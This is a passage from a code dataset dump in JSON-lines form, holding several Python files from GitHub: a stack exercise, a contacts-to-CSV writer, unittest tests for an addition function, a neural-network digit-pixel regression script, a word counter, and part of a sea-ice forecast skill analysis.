labels)))\n","repo_name":"DoubleL222/Keggle_PUBG_Player_Archetypes","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":8338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"39799053514","text":"stack = []\ncount = 0\n\ninput_size = int(input())\n\nfor i in range(input_size):\n command = int(input())\n if command == 1:\n try:\n stack.pop()\n except:\n print('underflow')\n elif command == 0:\n if len(stack) == 10:\n print('overflow')\n else:\n tmp = input()\n stack.append(tmp)\n print(int(tmp))\n else:\n break\n\nif stack:\n print(' '.join(stack))","repo_name":"cheol-95/Algorithm","sub_path":"Python/117. 스택 상태/Stack_status.py","file_name":"Stack_status.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24886788347","text":"import csv\ndataFile = open(\".config/html.dat\",\"r\") # Fayli oxuma modunda ac\n\ndata = dataFile.read() # Fayli oxu\nif(not data):\n raise (\"Fayl bosdur!\")\n\nsepData = [] # Parcala ve indexle\n\nfor i in data.split(\"$%\"): # Ayiriciya gore sirala\n sepData.append(i) # parcala ve ayiriciya yukle\n\ndef getHtmlData(index): # Indexe gore cagir\n global sepData # global deyisken olaraq ayarla\n return sepData[index] # Verilen indexe gore getir\n\ndef CSV_writer(w):\n global csv_out\n csv_out = csv.writer(w, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n csv_out.writerow(['Name', 'Given Name', 'Additional Name', 'Family Name', 'Yomi Name',\n 'Given Name Yomi', 'Additional Name Yomi', 'Family Name Yomi',\n 'Name Prefix', 'Name Suffix', 'Initials', 'Nickname', 'Short Name',\n 'Maiden Name', 'Birthday', 'Gender', 'Location', 'Billing Information',\n 'Directory Server', 'Mileage', 'Occupation', 'Hobby', 'Sensitivity',\n 'Priority', 'Subject', 'Notes', 'Language', 'Photo', 'Group Membership',\n 'Phone 1 - Type', 'Phone 1 - Value', 'Phone 2 - Type',\n 'Phone 2 - Value', 'Organization 1 - Type', 'Organization 1 - Name',\n 'Organization 1 - Yomi Name', 'Organization 1 - Title',\n 'Organization 1 - Department', 'Organization 1 - Symbol',\n 'Organization 1 - Location', 'Organization 1 - Job Description'])\n\ndef writeCSV(_name,_pref,_data):\n global csv_out\n csv_out.writerow([\n _name, #0\n _name, #1\n '', #2\n '', #3\n '', #4\n '', #5\n '', #6\n '', #7\n '', #8\n '', #9\n '', #10\n '', #11\n '', #12\n '', #13\n '', #14\n '', #15\n '', #16\n '', #17\n '', #18\n '', #19\n '', #20\n '', #21\n '', #22\n '', #23\n '', #24\n '', #25\n '', #26\n '', #27\n '* myContacts', #28\n 'Mobile', #29\n _pref+_data, #30\n '', #31\n '', #32\n '', #33\n '', #34\n '', #35\n '', #36\n '', #37\n '', #38\n '', #39\n '', #40\n ])","repo_name":"ramo828/AmonIA","sub_path":"pyapp/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16902507880","text":"import unittest\nfrom unittest import result\nfrom app import add\n\n\nclass AdditionTest(unittest.TestCase):\n\n def test_num_equals_to_ten(self):\n num1 = 10\n num2 = 10\n res = add(num1, num2)\n self.assertEqual(res, -1)\n\n def test_num_greater_than_ten(self):\n num1 = 11\n num2 = 30\n res = add(num1, num2)\n self.assertEqual(res, 41)\n\n def test_num_less_than_ten(self):\n num1 = 4\n num2 = 5\n res = add(num1, num2)\n self.assertEqual(res, -1)\n\n def test_result_greater_than_ten(self):\n num1 = 20\n num2 = 20\n res = add(num1, num2)\n self.assertEqual(res, -1)\n\n def test_result_lesss_than_ten(self):\n num1 = 2\n num2 = 3\n res = add(num1, num2)\n self.assertLess(res, 10)\n self.assertEqual(res, -1)\n\n def test_num1_less_than_num2(self):\n num1 = 11\n num2 = 12\n res = add(num1, num2)\n self.assertEqual(res, 23)\n\n def test_num1_greater_than_num2(self):\n num1 = 12\n num2 = 11\n res = add(num1, num2)\n self.assertEqual(res, -1)\n\n def test_num1_num2_zero(self):\n num1 = 0\n num2 = 0\n\n res = add(num1, num2)\n self.assertEqual(res, -4)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"aniruddhha/python-training-43be6296c438424db50d31dd91e5191e","sub_path":"week-3/day-3/basics-unit-testing/app_test.py","file_name":"app_test.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"20830652929","text":"# libraries!\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.preprocessing import StandardScaler\n\nfilename = 'digits.csv'\ndf = pd.read_csv(filename, header=0)\nprint(f\"{filename} : file read into a pandas dataframe.\")\n\ncoltodrop = df.columns[65]\ndf_clean = df.drop(columns=[coltodrop])\ndf_clean.info()\n\nCOLUMNS = df_clean.columns\nprint(f\"COLUMNS: {COLUMNS}\")\n\n# let's create a dictionary to look up any column index by name\nCOL_INDEX = {}\nfor i, name in enumerate(COLUMNS):\n COL_INDEX[name] = i # using the name (as key), look up the value (i)\nprint(f\"COL_INDEX: {COL_INDEX}\")\n\n# and for our \"SPECIES\"!\nSPECIES = [str(i) for i in range(0, 10)] # list with a string at each index (index -> string)\nSPECIES_INDEX = {s: int(s) for s in SPECIES} # dictionary mapping from string -> index\n\nA = df_clean.to_numpy() # .values gets the numpy array\nA = A.astype('float64') # so many: www.tutorialspoint.com/numpy/numpy_data_types.htm\n\n#\n# regression model that uses as input the first 48 pixels (pix0 to pix47)\n# and, as output, predicts the value of pix52\n#\n\nprint(\"+++ Start of regression prediction of pix52! +++\\n\")\n\nX_all = A[:, 0:48] # old: np.concatenate( (A[:,0:3], A[:,4:]),axis=1) # horizontal concatenation\ny_all = A[:, 52] # y (labels) ... is all rows, column indexed 52 (pix52) only (actually the 53rd pixel, but ok)\n\nprint(f\"y_all (just target values, pix52) is \\n {y_all}\")\nprint(f\"X_all (just features: 3 rows) is \\n {X_all[:3, :]}\")\n\n#\n# we scramble the data, to give a different TRAIN/TEST split each time...\n#\nindices = np.random.permutation(len(y_all)) # indices is a permutation-list\n\n# we scramble both X and y, necessarily with the same permutation\nX_all = X_all[indices] # we apply the _same_ permutation to each!\ny_all = y_all[indices] # again...\nprint(\"labels (target)\\n\", y_all)\nprint(\"features\\n\", X_all[:3, :])\n\n#\n# We next separate into test data and training data ...\n# + We will train on the training data...\n# + We will _not_ look at the testing data to build the model\n#\n# Then, afterward, we will test on the testing data -- and see how well we do!\n#\n\n#\n# a common convention: train on 80%, test on 20% Let's define the TEST_PERCENT\n#\n\n\nX_train, X_test, y_train, y_test = train_test_split(X_all, y_all, test_size=0.2)\n\nprint(f\"training with {len(y_train)} rows; testing with {len(y_test)} rows\\n\")\n\nprint(f\"Held-out data... (testing data: {len(y_test)})\")\nprint(f\"y_test: {y_test}\\n\")\nprint(f\"X_test (few rows): {X_test[0:5, :]}\") # 5 rows\nprint()\nprint(f\"Data used for modeling... (training data: {len(y_train)})\")\nprint(f\"y_train: {y_train}\\n\")\nprint(f\"X_train (few rows): {X_train[0:5, :]}\") # 5 rows\n\n#\n# for NNets, it's important to keep the feature values near 0, say -1. to 1. or so\n# This is done through the \"StandardScaler\" in scikit-learn\n#\nUSE_SCALER = True # this variable is important! It tracks if we need to use the scaler...\n\n# we \"train the scaler\" (computes the mean and standard deviation)\nif USE_SCALER:\n from sklearn.preprocessing import StandardScaler\n\n scaler = StandardScaler()\n scaler.fit(X_train) # Scale with the training data! ave becomes 0; stdev becomes 1\nelse:\n # this one does no scaling! We still create it to be consistent:\n scaler = StandardScaler(copy=True, with_mean=False, with_std=False) # no scaling\n scaler.fit(X_train) # still need to fit, though it does not change...\n\nscaler # is now defined and ready to use...\n\n# ++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n# Here is a fully-scaled dataset:\n\nX_all_scaled = scaler.transform(X_all)\ny_all_scaled = y_all.copy() # not scaled\n\n# Here are our scaled training and testing sets:\n\nX_train_scaled = scaler.transform(X_train) # scale!\nX_test_scaled = scaler.transform(X_test) # scale!\n\ny_train_scaled = y_train # the predicted/desired labels are not scaled\ny_test_scaled = y_test # not using the scaler\n\n\ndef ascii_table(X, y):\n \"\"\" print a table of binary inputs and outputs \"\"\"\n print(f\"{'input ':>70s} -> {'pred':<5s} {'des.':<5s}\")\n for i in range(len(y)):\n s_to_show = str(X[i, :])\n s_to_show = s_to_show[0:60]\n print(f\"{s_to_show!s:>70s} -> {'?':<5s} {y[i]:<5.0f}\") # !s is str ...\n\n\nascii_table(X_train_scaled[0:5, :], y_train_scaled[0:5])\n\n#\n# Note that the zeros have become -1's\n# and the 1's have stayed 1's\n#\n\n#\n# MLPRegressor predicts _floating-point_ outputs\n#\n\n\n\nnn_regressor = MLPRegressor(hidden_layer_sizes=(6, 7),\n max_iter=200, # how many training epochs\n activation=\"tanh\", # the activation function\n solver='sgd', # the optimizer\n verbose=True, # do we want to watch as it trains?\n shuffle=True, # shuffle each epoch?\n random_state=None, # use for reproducibility\n learning_rate_init=.1, # how much of each error to back-propagate\n learning_rate='adaptive') # how to handle the learning_rate\n\nprint(\"\\n\\n++++++++++ TRAINING: begin +++++++++++++++\\n\\n\")\nnn_regressor.fit(X_train_scaled, y_train_scaled)\nprint(\"++++++++++ TRAINING: end +++++++++++++++\")\n\nprint(f\"The (squared) prediction error (the loss) is {nn_regressor.loss_}\")\nprint(f\"And, its square root: {nn_regressor.loss_ ** 0.5}\")\n\n\ndef ascii_table_for_regressor(Xsc, y, nn, scaler):\n \"\"\" a table including predictions using nn.predict \"\"\"\n predictions = nn.predict(Xsc) # all predictions\n Xpr = scaler.inverse_transform(Xsc) # Xpr is the \"X to print\": unscaled data!\n # measure error\n error = 0.0\n # printing\n print(f\"{'input ':>35s} -> {'pred':^6s} {'des.':^6s} {'absdiff':^10s}\")\n for i in range(len(y)):\n pred = predictions[i]\n desired = y[i]\n result = abs(desired - pred)\n error += result\n # Xpr = Xsc # if you'd like to see the scaled values\n s_to_show = str(Xpr[i, :])\n s_to_show = s_to_show[0:25] # we'll just take 25 of these\n print(f\"{s_to_show!s:>35s} -> {pred:<+6.3f} {desired:<+6.3f} {result:^10.3f}\")\n\n print(\"\\n\" + \"+++++ +++++ +++++ +++++ \")\n print(f\"average abs error: {error / len(y)}\")\n print(\"+++++ +++++ +++++ +++++ \")\n\n\nif True:\n ascii_table_for_regressor(X_test_scaled,\n y_test_scaled,\n nn_regressor,\n scaler) # this is our own f'n, above\n\n# let's create a final nn_regressor for pix52\n#\npix52_final_regressor = MLPRegressor(hidden_layer_sizes=(6, 7),\n max_iter=400,\n activation=\"tanh\",\n solver='sgd',\n verbose=False,\n shuffle=True,\n random_state=None, # reproduceability!\n learning_rate_init=.1,\n learning_rate='adaptive')\n\nprint(\"\\n\\n++++++++++ TRAINING: begin +++++++++++++++\\n\\n\")\npix52_final_regressor.fit(X_all_scaled, y_all_scaled)\nprint(\"\\n\\n++++++++++ TRAINING: end +++++++++++++++\\n\\n\")\n\nprint(f\"The (sq) prediction error (the loss) is {pix52_final_regressor.loss_}\")\nprint(f\"So, the 'average' error per pixel is {pix52_final_regressor.loss_ ** 0.5}\")\n\n\ndef predict_from_model(pixels, model):\n \"\"\" returns the prediction on the input pixels using the input model\n \"\"\"\n pixels_array = np.asarray([pixels]) # the extra sq. brackets are needed!\n pixels_scaled = scaler.transform(pixels_array) # need to use the scaler!\n predicted = model.predict(pixels_scaled)\n return predicted\n\n\n#\n# let's choose a digit to try...\n#\nrow_to_show = 4 # different indexing from X_all and y_all (they were reordered)\nnumeral = A[row_to_show, 64]\nprint(f\"The numeral is a {int(numeral)}\\n\")\n\nall_pixels = A[row_to_show, 0:64]\nfirst48pixels = A[row_to_show, 0:48]\n\npix52_predicted = predict_from_model(first48pixels, pix52_final_regressor)\npix52_actual = A[row_to_show, 52]\n\nprint(f\"pix52 [predicted] vs. actual: {pix52_predicted} vs. {pix52_actual}\")\n\n\ndef show_digit(pixels):\n \"\"\" should create a heatmap (image) of the digit contained in row\n input: pixels should be a 1d numpy array\n if it's more then 64 values, it will be truncated\n if it's fewer than 64 values, 0's will be appended\n\n \"\"\"\n # make sure the sizes are ok!\n num_pixels = len(pixels)\n if num_pixels != 64:\n print(f\"(in show_digit) num_pixels was {num_pixels}; now set to 64\")\n if num_pixels > 64: # an elif would be a poor choice here, as I found!\n pixels = pixels[0:64]\n if num_pixels < 64:\n num_zeros = 64 - len(pixels)\n pixels = np.concatenate((pixels, np.zeros(num_zeros)), axis=0)\n\n pixels = pixels.astype(int) # convert to integers for plotting\n pixels = np.reshape(pixels, (8, 8)) # make 8x8\n # print(f\"The pixels are\\n{pixels}\")\n f, ax = plt.subplots(figsize=(9, 6)) # Draw a heatmap w/option of numeric values in each cell\n\n # my_cmap = sns.dark_palette(\"Purple\", as_cmap=True)\n my_cmap = sns.light_palette(\"Gray\",\n as_cmap=True)\n sns.heatmap(pixels, annot=False, fmt=\"d\", linewidths=.5, ax=ax, cmap=my_cmap)\n\n\n\nrow_to_show = 42\nnumeral = A[row_to_show, 64]\nprint(f\"The numeral is a {int(numeral)}\\n\")\n# show all from the original data\nshow_digit(A[row_to_show, 0:64]) # show full original\n\n\nall_pixels = A[row_to_show, 0:64].copy()\nfirst48pixels = all_pixels[0:48]\nshow_digit(all_pixels)\n\npix52_predicted = predict_from_model(first48pixels, pix52_final_regressor)\npix52_actual = A[row_to_show, 52]\n\nprint(f\"pix52 [predicted] vs. actual: {pix52_predicted} {pix52_actual}\")\n\n# erase last 16 pixels\nall_pixels[48:64] = np.zeros(16)\n\n# show without pix52\nall_pixels[52] = 0 # omit this one\nshow_digit(all_pixels) # show without pixel 52\n\n# show with pix52\nall_pixels[52] = np.round(pix52_predicted) # include this one\nshow_digit(all_pixels) # show with pixel 52\n\n\ndef make_r(N):\n R = []\n X_all = A[:, 0:N]\n\n\n scaler = StandardScaler()\n scaler.fit(X_train)\n X_all_scaled = scaler.transform(X_all)\n\n for value in range(N, 64):\n print(value)\n y_all = A[:, value]\n y_all_scaled = y_all.copy()\n pix_final_regressor = MLPRegressor(hidden_layer_sizes=(6, 7),\n max_iter=400,\n activation=\"tanh\",\n solver='sgd',\n verbose=False,\n shuffle=True,\n random_state=None,\n learning_rate_init=.1,\n learning_rate='adaptive')\n pix_final_regressor.fit(X_all_scaled, y_all_scaled)\n R += [pix_final_regressor]\n\n return R\n\n\nrow_to_show = 42\nnumeral = A[row_to_show, 64]\nprint(f\"The numeral is a {int(numeral)}\\n\")\n\nall_pixels = A[row_to_show, 0:64].copy()\nfirst48pixels = all_pixels[0:48]\n\npix52_predicted = predict_from_model(first48pixels, pix52_final_regressor)\npix52_actual = A[row_to_show, 52]\n\nprint(f\"pix52 [predicted] vs. actual: {pix52_predicted} {pix52_actual}\")\n\n# erase last 16 pixels\nall_pixels[48:64] = np.zeros(16)\n\n# show without pix52\nall_pixels[52] = 0 # omit this one\nshow_digit(all_pixels) # show without pixel 52\n\n# show with pix52\nall_pixels[52] = np.round(pix52_predicted) # include this one\nshow_digit(all_pixels) # show without pixel 52\n\nrow_to_show = 42 # different indexing from X_all and y_all (they were reordered)\nnumeral = A[row_to_show, 64]\nprint(f\"The numeral is a {int(numeral)}\\n\")\n\nall_pixels = A[row_to_show, 0:64].copy()\nfirst_pixels = all_pixels[0:48] # should be 32!\n\npix52_predicted = predict_from_model(first_pixels, pix52_final_regressor)\npix52_actual = A[row_to_show, 52]\n\nprint(f\"pix52 [predicted] vs. actual: {pix52_predicted} {pix52_actual}\")\n\n# erase last 32 pixels\nall_pixels[32:64] = np.zeros(32)\nshow_digit(all_pixels)\n\n# set pix52\nall_pixels[52] = np.round(pix52_predicted)\nshow_digit(all_pixels)\n\n\ndef predict_digit(R, row_to_show):\n numeral = A[row_to_show, 64]\n print(f\"The numeral is a {int(numeral)}\\n\")\n show_digit(A[row_to_show, 0:64])\n\n all_pixels = A[row_to_show, 0:64].copy()\n first48pixels = all_pixels[0:48]\n\n all_pixels[48:64] = np.zeros(16)\n show_digit(all_pixels)\n\n for value in range(48, 64):\n r = R[(value - 48)]\n pix_predicted = predict_from_model(first48pixels, r)\n pix_actual = A[row_to_show, value]\n print(f\"pix{value} [predicted] vs. actual: {pix_predicted} {pix_actual}\")\n all_pixels[value] = np.round(pix_predicted)\n show_digit(all_pixels)\n\n\nR = make_r(48)\npredict_digit(R, 75)\n","repo_name":"ebenezersemere/dreamdigits","sub_path":"DigitDreams.py","file_name":"DigitDreams.py","file_ext":"py","file_size_in_byte":13167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1859734674","text":"import csv\r\nzag=0\r\npr=0\r\nmy_list=[]\r\nmy_list1=[]\r\nfilename=\"gamlet.txt\"\r\n\r\nfd=open(filename,'r')\r\nfor row in fd:\r\n pr=pr+row.count(' ')\r\n zag=zag+len(row)\r\n word=row.split(' ')\r\n my_list.append(word)\r\n print(row)\r\n\r\nfd.close()\r\nprint(zag)\r\nprint(pr)\r\nprint('word=',len(my_list))\r\n\r\nL=len(my_list)\r\nL1=0\r\nall_word=0\r\nword_uniq=0\r\nfor i in range (L):\r\n L1=len(my_list[i])\r\n for j in range (L1):\r\n elem=my_list[i][j]\r\n all_word=all_word+1\r\n if elem in my_list1:\r\n continue\r\n else:\r\n my_list1.append(elem)\r\nword_uniq=len(my_list1)\r\nprint('all_word=', all_word)\r\nprint('word_uniq=', word_uniq)","repo_name":"yuppd28/lab---6","sub_path":"6.3data-service.py","file_name":"6.3data-service.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"197546017","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 22 11:06:18 2020\n\n@author: Joseph Martin, University of Victoria \nwith contributions from Dr. Michael Sigmond, Canadian Centre for Climate Modelling and Analysis\n\n\"\"\"\n\nfrom netCDF4 import Dataset\nimport math as math\nimport nc as nc\nimport numpy as np\nimport array as ar\nfrom matplotlib import colors\nimport matplotlib.pyplot as plt\nimport calendar\nimport rms_plots as rpl\nimport CCMA_plot\nfrom scipy import signal\nimport rms_utils_boot as bt\nfrom scipy.io import loadmat\nimport Mitch_detrend as md\n\nmitch=loadmat('/home/josmarti/Downloads/regionalSIE.mat')\n\n#regionlabs=['0land','1ARC','2GIN','3BAR','4KAR','5LAP','6ESI','7CHU','8BER','9OKH','10BEA','11CAN','12HUD','13BAF','14LAB','15OTHER']\nregion=\"0NONE\" \nregion_titles=['Pan-Arctic', 'Central Arctic', 'GIN Seas', 'Barents Sea', 'Kara Sea', 'Laptev Sea', 'East Siberian Sea', 'Chukchi Sea', 'Bering Sea', 'Sea of Okhotsk', 'Beaufort Sea', 'Canadian Archipelago', 'Hudson Bay', 'Baffin Bay', 'Labrador Sea']\n\nif region[1].isdigit():\n r=int(region[0:2])\nelse:\n r=int(region[0])\n\n#Select metric\nmetric=\"SIE\"\n\n#Select observation data set\nData=\"Had2CIS\"\n#obsin=nc.getvar('/home/josmarti/Data/Observations/NSIDC_1979_2010_nh_siea.nc', str.lower(metric)).squeeze()\n\n#Select Year Range\nyears=range(1980,2017)\nperiod=max(years) - min(years)\n\nsim=np.zeros((12,12,len(years)))\n\n#Shape observations\nif r !=0 :\n \"\"\"obsingeo=nc.getvar('/home/josmarti/Data/Observations/had2cis_1x1_198001_202004_sicn.nc', 'SICN').squeeze()\n #obsingeo[obsingeo.mask==True]=1 #CHECK WITH MICHAEL!!!!!!\n if metric==\"SIE\":\n obsingeo[obsingeo <= 0.15] = 0\n obsingeo[obsingeo > 0.15] = 1\n mask=nc.getvar('/home/josmarti/Data/1x1_reg_mask.nc', 'region').squeeze()\n gridpoint=nc.getvar('/home/josmarti/Data/gridpoint_1x1.nc','areacella')\n mask[mask != r]=0\n mask[mask == r]=1\n obs1=np.multiply(obsingeo.astype(float),mask.astype(float)) #changes to dtype=float64 to avoid run time error\n #obs2=obs1 #Select Northern Hemisphere\n obsnh=np.multiply(obs1,gridpoint.astype(float))\n obstemp=np.sum(np.sum((obsnh/(1e6*2.8**2)), axis=1), axis=1) #CHANGED FROM MEAN\"\"\"\n obsin=nc.getvar(('/home/josmarti/Data/Observations/Observed_SIE_%i.nc' % r), 'SICN').squeeze()*2*math.pi*6.371**2\n #obsin=mitch['regionalSIE'][0:456,(r-1)]\n obs2mask=obsin[((min(years)-1980)*12):((max(years)+2-1980)*12)]\n obs=np.reshape(obs2mask, ((period+2),12)).transpose()\nelse:\n obsingeo=np.delete(nc.getvar('/home/josmarti/Data/Observations/had2cis_128_64_195901_202004_sic.nc', 'SICN').squeeze(), 128, 2)\n gridpoint=nc.getvar('/home/josmarti/Data/areacella_fx_CanCM4_decadal2001_r0i0p0.nc','areacella')\n obs1=np.multiply(obsingeo,gridpoint)\n obsnh=np.delete(obs1, range(32), axis=1)\n obstemp=np.mean(np.mean(obsnh, axis=1), axis=1)\n obs2mask=obstemp[((min(years)-1959)*12):((max(years)+2-1959)*12)] \n if Data == \"Had2CIS\":\n if metric == \"SIA\":\n obs=np.reshape(obs2mask, ((period+2),12)).transpose()\n elif metric == \"SIE\":\n obsin=nc.getvar('/home/josmarti/Data/Observations/had2cisSIE.nc', 'SICN').squeeze()[((min(years)-1959)*12):((max(years)+2-1959)*12)] \n obs=np.reshape(obsin, ((period+2),12)).transpose()\n elif Data == \"NSIDC\":\n obsin=nc.getvar('/home/josmarti/Data/Observations/NSIDC_1979_2010_nh_siea.nc', str.lower(metric)).squeeze()\n obs=np.delete((np.reshape(obsin, ((period+3),12)).transpose()),range(min(years)-1979),1)\n \n\n#Option for linear detrending\ndetrend=True\n\n#Display persistence forecast\nshow_persistence=True\n\n#Mask Low STD\nstd_mask=True\n\nif std_mask:\n mask=nc.getvar('/home/josmarti/Data/1x1_reg_mask.nc', 'region').squeeze()\n gridpoint=nc.getvar('/home/josmarti/Data/gridpoint_1x1.nc','areacella')\n mask[mask != r]=0\n mask[mask == r]=1\n area=np.sum(np.multiply(gridpoint,mask))\n pm_std=np.load('temp/%s_std.npy' % region)\n\n#Set figure titles for thesis\nthesis_figures=True\nregion_figures=False\ntitles=[]\n\n#Mitch's colors\njet3=colors.ListedColormap(loadmat('/home/josmarti/Downloads/cmap_jet3.mat')['cmap'], name='jet3') \n\n#Used to seperate model outputs\nsingle=False\n\n\n#Select CANSIPS v1 or v2\nCANSIPS=\"v1\"\n#CANSIPSes=[\"v1\", \"v2\"]\n#CANSIPS=\"v2\"\n\n#Select OLD or NEW\n#version=\"NEW\"\n#version=\"OLD\"\nversions=[\"OLD\", \"NEW\"]\n#versions=[\"OLD/1x1_trial\", \"NEW/1x1_trial\"]\n\n#Set plot style\npstyle = \"pc\"\nif pstyle != \"cf\" and pstyle != \"pc\":\n print(\"Select a plot style (cf or pc)\")\n \n#Build persistance model\npersistence=np.zeros(sim.shape)\nobs_pers=np.zeros(obs.shape)\nobs_pers[0:11,:]=obs[0:11,:]\n#if r!=0:\nif Data == \"Had2CIS\":\n obs_pers[11,0]=obsin[(min(years)-1-1959)*12+11]\nelif Data == \"NSIDC\":\n obs_pers[11,0]=obsin[(min(years)-1980)*12+11]\n#else: \n # obs_pers[11,0]=obsin[(min(years)-1980)*12+11]\nobs_pers[11,1::]=obs[11,0:-1]\nobs_mean=np.mean(obs_pers, axis=1, keepdims=True)\nobs_anom=obs_pers-obs_mean\nfor init in range(12):\n\tfor target in range(12):\n persistence[init,target,:]=obs_mean[target]+obs_anom[init-1,0:-1] \n\n \noriginal_obs=obs #used for standard deviation\n\nauto_corr=False\n\nif detrend: #sim detrended below\n if auto_corr:\n persistence=signal.detrend(persistence)\n obs=signal.detrend(obs)\n else:\n obs=md.Mitch_detrend(obs)\n persistence=md.Mitch_detrend(persistence)\n\nif single:\n print(\"Single Model Active\")\n\n\n\nif auto_corr:\n auto=np.zeros((12,36))\n boot_temp_auto=np.zeros((12,36), dtype=np.ndarray)\n boot_auto=np.zeros((12,36), dtype=np.ndarray)\n for tmon in range(12): #Code from Michael Sigmond\n for lead in range(36):\n imon=tmon-lead%12-1\n yearoffset=lead/12 \n if imon<0:\n yearoffset=yearoffset+1\n imon=imon+12\n #print tmon,lead,imon,yearoffset\n auto[tmon,lead]=np.corrcoef(obs[imon,(3-yearoffset):(38-yearoffset)],obs[tmon,3::])[1,0]\n boot_temp_auto[tmon,lead]=bt.calc_corr_boot(obs[imon,(3-yearoffset):(38-yearoffset)],obs[tmon,3::], 1000)\n boot_auto[tmon,lead]=bt.calc_boot_stats(boot_temp_auto[tmon,lead],sides=1,pval_threshold=0.05)[1]\n if std_mask:\n if r!=0:\n if (len(np.std(original_obs, axis=1)[(np.std(original_obs, axis=1)*1e15)/np.sum(area) < 0.8])!=0 and std_mask):\n print (\"STD mask in effect\")\n for i in range(len(auto)):\n if ((np.std(original_obs, axis=1)[i]*1e15)/np.sum(area)) < 0.8:\n boot_auto[i,:]=-1 # 0 will be seen as significant\n auto[i,:]=0\n if (len(np.std(pm_std, axis=1)[(np.std(pm_std, axis=1)*1e15)/np.sum(area) < 0.8])!=0 and std_mask):\n print (\"Perfect STD mask in effect\")\n for i in range(len(auto)):\n if ((np.std(pm_std, axis=1)[i]*1e15)/np.sum(area)) < 0.8:\n boot_auto[i,:]=-1 # 0 will be seen as significant\n auto[i,:]=0\n\n\nif auto_corr:\n fig, ax = plt.subplots(figsize=(4,9))\n if pstyle == \"pc\":\n #pcparams=dict(clevs=np.arange(-0.15,1.05,0.1),cmap='acccbar') #CCCMA\n pcparams=dict(clevs=np.arange(-0.8,1,0.1),cmap=jet3) #Mitch's\n pc=rpl.add_pc(ax,range(13),range(37),auto.transpose(),**pcparams)\n elif pstyle == \"cf\":\n pcparams=dict(clevs=np.arange(-0.15,1.05,0.1),cmap='acccbar',latlon=False)\n pc=rpl.add_cf(ax,range(1,13),range(1,37),ACC,**pcparams)\n for month in range(len(boot_auto[:,0])):\n for lead in range(len(boot_auto[0,:])):\n if boot_auto[month,lead]>0: #MUST BE CHANGED BACK to >=!!!!!!\n plt.scatter((month+0.5),(lead+0.5), color = 'black', s=20)\n if thesis_figures:\n plt.title(\"%s Obs\" % region_titles[r], fontsize=16)\n else:\n if r!=0:\n plt.title(\"%s Detrended Obs Autocorrelation\" % region, fontsize=16)\n else:\n plt.title(\"Detrended Obs Autocorrelation\", fontsize=16)\n plt.colorbar(pc)\n ax.invert_xaxis\n ax.invert_yaxis\n ax.set_xticks(np.arange(len(calendar.month_name[1:13]))+0.5) \n ax.set_xticklabels(calendar.month_name[1:13], rotation=90) \n ax.set_yticks(np.arange(36)+0.5) \n ax.set_yticklabels(range(36)) \n plt.xlabel(\"Predicted Month\") \n plt.ylabel(\"Lead (Months)\") \n plt.show() \n\n\ndiff=0 \n#%% \nfor version in versions:\n#for CANSIPS in CANSIPSes:\n#for smark in range(2): \n #Select SIE or SIA\n\n \n \"\"\" if version==\"NEW\":\n CANSIPS=\"v2\"\n #for overall comparison\"\"\"\n \n\n \n #Build model array\n #This is the part of the code where the SIE data get loaded in from the models as var3 and var4\n #The ensemble mean of var3 and var4 are then aded to the \"sim\" matrix which is 12 target months x 12 lead times x however many years\n for months in range(1,13):\n \tif months<10:\n \t\tm=\"0%s\" % months\n \telse:\n \t\tm=str(months)\n \tfor year in years:\n y=str(year)\n if CANSIPS==\"v1\":\n if r !=0 :\n var3=nc.getvar(('/home/josmarti/Data/%s/%s/%s/%s_monthly_%s_CanCM3_i%s%s.nc' % (version,metric,region,metric,region,y,m)),'sic').squeeze()\n else:\n var3=nc.getvar(('/home/josmarti/Data/%s/%s/%s_monthly_CanCM3_i%s%s.nc' % (version,metric,metric,y,m)),'sic').squeeze()#.transpose()\n if CANSIPS==\"v2\":\n if r!=0:\n var3=nc.getvar(('/home/josmarti/Data/GEM-NEMO/%s/%s/%s_monthly_%s_GEM_NEMO_i%s%s.nc' % (metric,region,metric,region,y,m)),'sic').squeeze()\n else:\n var3=nc.getvar(('/home/josmarti/Data/GEM-NEMO/%s/%s_monthly_GEM-NEMO_i%s%s.nc' % (metric,metric,y,m)),'sic').squeeze()\n #if r!=0:\n # var4=nc.getvar(('/home/josmarti/Data/%s/%s/%s/%s_monthly_%s_CanCM4_i%s%s.nc' % (version,metric,region,metric,region,y,m)),'sic').squeeze()\n #else:\n if r !=0 :\n var4=nc.getvar(('/home/josmarti/Data/%s/%s/%s/%s_monthly_%s_CanCM4_i%s%s.nc' % (version,metric,region,metric,region,y,m)),'sic').squeeze()\n else:\n var4=nc.getvar(('/home/josmarti/Data/%s/%s/%s_monthly_CanCM4_i%s%s.nc' % (version,metric,metric,y,m)),'sic').squeeze()#.transpose()\n var=np.concatenate((var3,var4), axis=1)\n if single:\n if smark==0:\n var=var3\n elif smark==1:\n var=var4\n if metric==\"SIA\":\n sim[months-1,:,year-min(years)]=np.mean(var, axis=1) #Average across ensembles and insert into matrix\n if metric==\"SIE\":\n extent=var*2*math.pi*6.371**2 #multiply constant to convert fraction to SIE\n #avex=np.mean(extent, axis=1)\n sim[months-1,:,year-min(years)]=np.mean(extent, axis=1) #Average across ensembles and insert into matrix by INITIALIZATION month\n#%%\n \n for i in range(12): #line up all target months\n sim[i,:,:]=np.roll(sim[i,:,:],i,axis=0)\n \n \n\n \n \n if detrend:\n #sim=signal.detrend(sim) #Linear detrending, obs detrended above \n 